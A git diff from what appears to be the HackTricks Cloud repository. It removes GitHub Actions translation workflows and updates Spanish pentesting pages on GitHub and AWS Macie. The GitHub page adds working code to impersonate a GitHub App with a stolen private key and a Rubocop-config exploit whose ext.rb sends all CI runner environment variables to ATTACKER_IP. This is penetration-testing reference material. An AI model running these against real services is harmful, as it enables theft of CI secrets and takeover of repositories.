git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_tr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Turkish
BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_uk.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_zh.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

212
src/pentesting-ci-cd/github-security/README.md
View File

@@ -20,7 +20,7 @@ Los repositorios de Github pueden configurarse como públicos, privados e intern
- **Interno** significa que **solo** las personas de la **empresa** (una empresa puede tener varias organizaciones) podrán acceder a él.
- **Público** significa que **todo internet** podrá acceder a él.
En caso de que conozcas el **usuario, repositorio u organización que deseas atacar**, puedes usar **github dorks** para encontrar información sensible o buscar **filtraciones de información sensible** **en cada repositorio**.
En caso de que conozcas al **usuario, repositorio u organización que deseas atacar**, puedes usar **github dorks** para encontrar información sensible o buscar **filtraciones de información sensible** **en cada repositorio**.
### Github Dorks
@@ -38,24 +38,18 @@ Por favor, ten en cuenta que los github dorks también están destinados a busca
Herramientas (cada herramienta contiene su lista de regexes):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Consulta esta página: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, no olvides que puede haber **otras ramas con otros commits** que contengan secretos.
### Forks Externos
Es posible **comprometer repositorios abusando de solicitudes de extracción**. Para saber si un repositorio es vulnerable, principalmente necesitas leer las configuraciones yaml de Github Actions. [**Más información sobre esto a continuación**](./#execution-from-a-external-fork).
Es posible **comprometer repositorios abusando de solicitudes de extracción**. Para saber si un repositorio es vulnerable, principalmente necesitas leer las configuraciones yaml de Github Actions. [**Más información sobre esto a continuación**](#execution-from-a-external-fork).
### Filtraciones de Github en forks eliminados/internos
Incluso si están eliminados o internos, puede ser posible obtener datos sensibles de forks de repositorios de github. Verifícalo aquí:
Incluso si están eliminados o internos, puede ser posible obtener datos sensibles de forks de repositorios de github. Consulta aquí:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -70,11 +64,11 @@ Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembr
- **Permisos base**: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda **Ninguno** o **Leer**.
- **Forking de repositorios**: Si no es necesario, es mejor **no permitir** que los miembros hagan forks de los repositorios de la organización.
- **Creación de páginas**: Si no es necesario, es mejor **no permitir** que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas.
- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub u OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos **administrativos** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que las personas hagan cosas **públicas**, asegúrate de que esto esté **deshabilitado**.
- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos de **administrador** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que las personas hagan cosas **públicas**, asegúrate de que esto esté **deshabilitado**.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos **administrativos** para el repositorio podrán **eliminar** o **transferir** repositorios **públicos y privados**.
- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos de **administrador** para el repositorio podrán **eliminar** o **transferir** **repositorios** públicos y privados.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Permitir a los miembros crear equipos**: Si está habilitado, cualquier **miembro** de la organización podrá **crear** nuevos **equipos**. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
@@ -82,7 +76,7 @@ Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembr
### Configuración de Acciones
Varios ajustes relacionados con la seguridad se pueden configurar para acciones desde la página `https://github.com/organizations/<org_name>/settings/actions`.
Se pueden configurar varias configuraciones relacionadas con la seguridad para acciones desde la página `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente.
@@ -116,7 +110,7 @@ Ten en cuenta que **se puede usar 2FA**, por lo que solo podrás acceder a esta
> [!NOTE]
> Ten en cuenta que si **logras robar la cookie `user_session`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA.
Consulta la sección a continuación sobre [**eliminaciones de protección de ramas**](./#branch-protection-bypass) en caso de que sea útil.
Consulta la sección a continuación sobre [**bypasses de protección de ramas**](#branch-protection-bypass) en caso de que sea útil.
### Con Clave SSH de Usuario
@@ -130,7 +124,7 @@ git config --list
```
Si el usuario ha configurado su nombre de usuario como su nombre de usuario de github, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\<github_username>.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada.
Las **claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Usualmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada.
Las **claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Normalmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada.
#### Claves GPG
@@ -166,41 +160,191 @@ Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a
Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
## Compromiso y Abuso de Github Action
#### Suplantar una Aplicación de GitHub con su clave privada (JWT → tokens de acceso de instalación)
Hay varias técnicas para comprometer y abusar de un Github Action, consúltalas aquí:
Si obtienes la clave privada (PEM) de una Aplicación de GitHub, puedes suplantar completamente la aplicación en todas sus instalaciones:
- Generar un JWT de corta duración firmado con la clave privada
- Llamar a la API REST de la Aplicación de GitHub para enumerar instalaciones
- Crear tokens de acceso por instalación y usarlos para listar/clonar/empujar a repositorios otorgados a esa instalación
Requisitos:
- Clave privada de la Aplicación de GitHub (PEM)
- ID de la Aplicación de GitHub (numérico). GitHub requiere que iss sea el ID de la Aplicación
Crear JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Lista de instalaciones para la aplicación autenticada:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Crea un token de acceso de instalación (válido ≤ 10 minutos):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Utiliza el token para acceder al código. Puedes clonar o enviar usando la forma de URL x‑access‑token:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Prueba de concepto programática para dirigirse a una organización específica y listar repositorios privados (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notas:
- Los tokens de instalación heredan exactamente los permisos a nivel de repositorio de la aplicación (por ejemplo, contents: write, pull_requests: write)
- Los tokens expiran en ≤10 minutos, pero se pueden generar nuevos tokens indefinidamente siempre que se conserve la clave privada
- También puedes enumerar instalaciones a través de la API REST (GET /app/installations) usando el JWT
## Compromiso y abuso de Github Action
Hay varias técnicas para comprometer y abusar de una Github Action, consúltalas aquí:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abusando de aplicaciones de GitHub de terceros que ejecutan herramientas externas (RCE de la extensión Rubocop)
Algunas aplicaciones de GitHub y servicios de revisión de PR ejecutan linters/SAST externos contra solicitudes de extracción utilizando archivos de configuración controlados por el repositorio. Si una herramienta compatible permite la carga dinámica de código, un PR puede lograr RCE en el runner del servicio.
Ejemplo: Rubocop admite la carga de extensiones desde su configuración YAML. Si el servicio pasa un .rubocop.yml proporcionado por el repositorio, puedes ejecutar Ruby arbitrario requiriendo un archivo local.
- Las condiciones de activación suelen incluir:
- La herramienta está habilitada en el servicio
- El PR contiene archivos que la herramienta reconoce (para Rubocop: .rb)
- El repositorio contiene el archivo de configuración de la herramienta (Rubocop busca .rubocop.yml en cualquier lugar)
Archivos de explotación en el PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (exfiltrar variables de entorno del runner):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
También incluye un archivo Ruby ficticio lo suficientemente grande (por ejemplo, main.rb) para que el linter se ejecute realmente.
Impacto observado en el mundo real:
- Ejecución completa de código en el runner de producción que ejecutó el linter
- Exfiltración de variables de entorno sensibles, incluyendo la clave privada de la aplicación de GitHub utilizada por el servicio, claves API, credenciales de base de datos, etc.
- Con una clave privada de la aplicación de GitHub filtrada, puedes generar tokens de instalación y obtener acceso de lectura/escritura a todos los repositorios otorgados a esa aplicación (ver la sección anterior sobre la suplantación de la aplicación de GitHub)
Directrices de endurecimiento para servicios que ejecutan herramientas externas:
- Trata las configuraciones de herramientas proporcionadas por el repositorio como código no confiable
- Ejecuta herramientas en sandboxes aislados estrictamente sin variables de entorno sensibles montadas
- Aplica credenciales de menor privilegio y aislamiento del sistema de archivos, y restringe/niega el egreso de red saliente para herramientas que no requieren acceso a internet
## Bypass de Protección de Ramas
- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un entorno de **Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías **aprobar tu PR** y obtener 1 aprobación de esta manera.
- _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PRs, pero si puedes, puedes abusar de ello para aceptar tus PRs._
- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías simplemente aceptar tus PR desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un **entorno de Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías **aprobar tu PR** y obtener 1 aprobación de esta manera.
- _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PR, pero si puedes, puedes abusar de ello para aceptar tus PR._
- **Desestimar aprobaciones cuando se envían nuevos commits**: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida.
- **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que un **Github Action cree tu PR y luego lo apruebes tú mismo**.
- Cuando un **archivo CODEOWNER está mal configurado**, Github no se queja pero no lo utiliza. Por lo tanto, si está mal configurado, **la protección de Propietarios de Código no se aplica.**
- **Permitir que actores especificados eviten los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción.
- **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que una **Github Action cree tu PR y luego lo apruebes tú mismo**.
- Cuando un **archivo CODEOWNER está mal configurado**, GitHub no se queja pero no lo utiliza. Por lo tanto, si está mal configurado, **la protección de Propietarios de Código no se aplica.**
- **Permitir que actores especificados eludan los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción.
- **Incluir administradores**: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama.
- **Secuestro de PR**: Podrías ser capaz de **modificar el PR de otra persona** añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo.
- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y restablecer las protecciones.
- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y volver a establecer las protecciones.
- **Eludir protecciones de push**: Si un repositorio **solo permite ciertos usuarios** enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín `*`).
- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer envío de código a la rama **ejecutará el github action**.
- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear una **acción de GitHub que se active cuando se envíe código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer envío de código a la rama **ejecutará la acción de GitHub**.
## Eludir Protecciones de Entornos
## Eludir las Protecciones de Entornos
Para una introducción sobre [**Entorno de Github consulta la información básica**](basic-github-information.md#git-environments).
Para una introducción sobre [**Github Environment consulta la información básica**](basic-github-information.md#git-environments).
En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando un nuevo github action (o modificando uno).
En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando una nueva acción de GitHub (o modificando una).
Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el disparador de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**.
Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar una acción de GitHub personalizada porque puedes crear una rama y usar el disparador de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que la acción de GitHub se activará**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Nota que **después de la creación** de la rama, la **protección de la rama se aplicará a la nueva rama** y no podrás modificarla, pero para ese momento ya habrás extraído los secretos.
Tenga en cuenta que **después de la creación** de la rama, la **protección de la rama se aplicará a la nueva rama** y no podrá modificarla, pero para ese momento ya habrá extraído los secretos.
## Persistencia
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Para más información, consulta [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Referencias
- [Cómo explotamos CodeRabbit: de un PR simple a RCE y acceso de escritura en 1M de repositorios](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Extensiones de Rubocop (requerir)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Autenticación con una aplicación de GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Listar instalaciones para la aplicación autenticada](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Crear un token de acceso de instalación para una aplicación](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

146
src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md
View File

@@ -1,10 +1,72 @@
# Amazon Macie
## Introducción
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie es un servicio de seguridad de datos que descubre datos sensibles utilizando aprendizaje automático y coincidencia de patrones, proporciona visibilidad sobre los riesgos de seguridad de los datos y permite la protección automatizada contra esos riesgos.
## Macie
## Listando Hallazgos con la Consola de AWS
Amazon Macie se destaca como un servicio diseñado para **detectar, clasificar e identificar datos** automáticamente dentro de una cuenta de AWS. Aprovecha **aprendizaje automático** para monitorear y analizar continuamente los datos, enfocándose principalmente en detectar y alertar sobre actividades inusuales o sospechosas al examinar los datos de **eventos de cloud trail** y los patrones de comportamiento de los usuarios.
Características clave de Amazon Macie:
1. **Revisión activa de datos**: Emplea aprendizaje automático para revisar datos activamente a medida que ocurren diversas acciones dentro de la cuenta de AWS.
2. **Detección de anomalías**: Identifica actividades irregulares o patrones de acceso, generando alertas para mitigar posibles riesgos de exposición de datos.
3. **Monitoreo continuo**: Monitorea y detecta automáticamente nuevos datos en Amazon S3, empleando aprendizaje automático e inteligencia artificial para adaptarse a los patrones de acceso a los datos con el tiempo.
4. **Clasificación de datos con NLP**: Utiliza procesamiento de lenguaje natural (NLP) para clasificar e interpretar diferentes tipos de datos, asignando puntajes de riesgo para priorizar hallazgos.
5. **Monitoreo de seguridad**: Identifica datos sensibles a la seguridad, incluidos claves API, claves secretas e información personal, ayudando a prevenir filtraciones de datos.
Amazon Macie es un **servicio regional** y requiere el rol IAM 'AWSMacieServiceCustomerSetupRole' y un AWS CloudTrail habilitado para su funcionalidad.
### Sistema de Alertas
Macie categoriza las alertas en categorías predefinidas como:
- Acceso anonimizado
- Cumplimiento de datos
- Pérdida de credenciales
- Escalación de privilegios
- Ransomware
- Acceso sospechoso, etc.
Estas alertas proporcionan descripciones detalladas y desgloses de resultados para una respuesta y resolución efectivas.
### Características del Panel
El panel categoriza los datos en varias secciones, incluyendo:
- Objetos S3 (por rango de tiempo, ACL, PII)
- Eventos/usuarios de CloudTrail de alto riesgo
- Ubicaciones de actividad
- Tipos de identidad de usuario de CloudTrail, y más.
### Clasificación de Usuarios
Los usuarios se clasifican en niveles según el nivel de riesgo de sus llamadas API:
- **Platino**: Llamadas API de alto riesgo, a menudo con privilegios de administrador.
- **Oro**: Llamadas API relacionadas con la infraestructura.
- **Plata**: Llamadas API de riesgo medio.
- **Bronce**: Llamadas API de bajo riesgo.
### Tipos de Identidad
Los tipos de identidad incluyen Root, usuario IAM, Rol Asumido, Usuario Federado, Cuenta AWS y Servicio AWS, indicando la fuente de las solicitudes.
### Clasificación de Datos
La clasificación de datos abarca:
- Tipo de Contenido: Basado en el tipo de contenido detectado.
- Extensión de Archivo: Basado en la extensión del archivo.
- Tema: Clasificado por palabras clave dentro de los archivos.
- Regex: Clasificado según patrones regex específicos.
El riesgo más alto entre estas categorías determina el nivel de riesgo final del archivo.
### Investigación y Análisis
La función de investigación de Amazon Macie permite consultas personalizadas en todos los datos de Macie para un análisis profundo. Los filtros incluyen Datos de CloudTrail, propiedades de Bucket S3 y Objetos S3. Además, admite invitar a otras cuentas a compartir Amazon Macie, facilitando la gestión colaborativa de datos y el monitoreo de seguridad.
## Listando Hallazgos con AWS Console
